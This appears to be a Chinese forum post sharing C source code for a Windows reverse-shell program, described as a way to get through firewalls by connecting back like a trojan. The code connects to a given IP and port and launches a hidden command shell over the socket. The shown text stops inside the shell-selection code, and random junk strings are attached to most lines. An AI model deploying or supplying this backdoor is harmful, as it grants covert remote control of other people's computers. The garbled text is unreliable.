这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 KL6B!B{;
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/* ============================== * RyU*au
Rebound port in Windows NT tI@aRF=p]2
By wind,2006/7 80=LT-%#
===============================*/ ]>Ym
#include q_6fr$-Qh
#include 2F+"v?n=\
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#pragma comment(lib,"wsock32.lib") \HIBnkj)3n
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void OutputShell(); 8_E(.]U
SOCKET sClient; oI!"F=?&6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; x`c7*q%
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void main(int argc,char **argv) DS;\24>H
{ ]
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WSADATA stWsaData; 9%Tqk"x?
int nRet; {i+
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SOCKADDR_IN stSaiClient,stSaiServer; _9]vlxgtG(
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if(argc != 3) 5S8>y7knQ
{ P z~jW):E
printf("Useage:\n\rRebound DestIP DestPort\n"); *;)O'|
return; 'pT13RFD
} o5j6(`#;
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WSAStartup(MAKEWORD(2,2),&stWsaData); |gWA'O0S
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _|4R^*/4
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stSaiClient.sin_family = AF_INET; .^M#BAt2
stSaiClient.sin_port = htons(0); B$6KI
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); '#yqw%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) sfip AM
{ Q=8YAiCu
printf("Bind Socket Failed!\n"); OX 'V
return; dOKp:|9G
} ii_kgqT^
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stSaiServer.sin_family = AF_INET; !qp$Xtf+
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xVw@pR;
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Pjk2tf0j`
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Q
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{ pbEWnx_
printf("Connect Error!"); m5iCvOP
return; {ZrlbDQX
} #Lpw8b6
OutputShell(); `kuu}YUi
} p:TE##
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void OutputShell() rH!sImz,
{ VsJ+-IHm
char szBuff[1024]; tVO}{[U}
SECURITY_ATTRIBUTES stSecurityAttributes; '5Yzo^R;
OSVERSIONINFO stOsversionInfo; *~g*J^R}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F \ls]luN
STARTUPINFO stStartupInfo; R;!@
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char *szShell; n<bU' n
PROCESS_INFORMATION stProcessInformation; w$/lq~zU
unsigned long lBytesRead; 1$eoW/8.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); iMJt8sd
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); b6
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stSecurityAttributes.lpSecurityDescriptor = 0; '=vZAV`
stSecurityAttributes.bInheritHandle = TRUE; i_Hm?Bi!F
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); X+ITW#
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); W]#w4Fp!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A[uE#T^
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2=- .@,6
stStartupInfo.wShowWindow = SW_HIDE; ttUK~%wSx
stStartupInfo.hStdInput = hReadPipe; IK\~0L;ozE
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #?Kw
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GetVersionEx(&stOsversionInfo); |J,zU6t
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switch(stOsversionInfo.dwPlatformId) S?d<P
{ aaig1#a@1b
case 1: k7Bh[ ..!
szShell = "command.com"; )][U6 e
break; F|eWHw?t
default: F<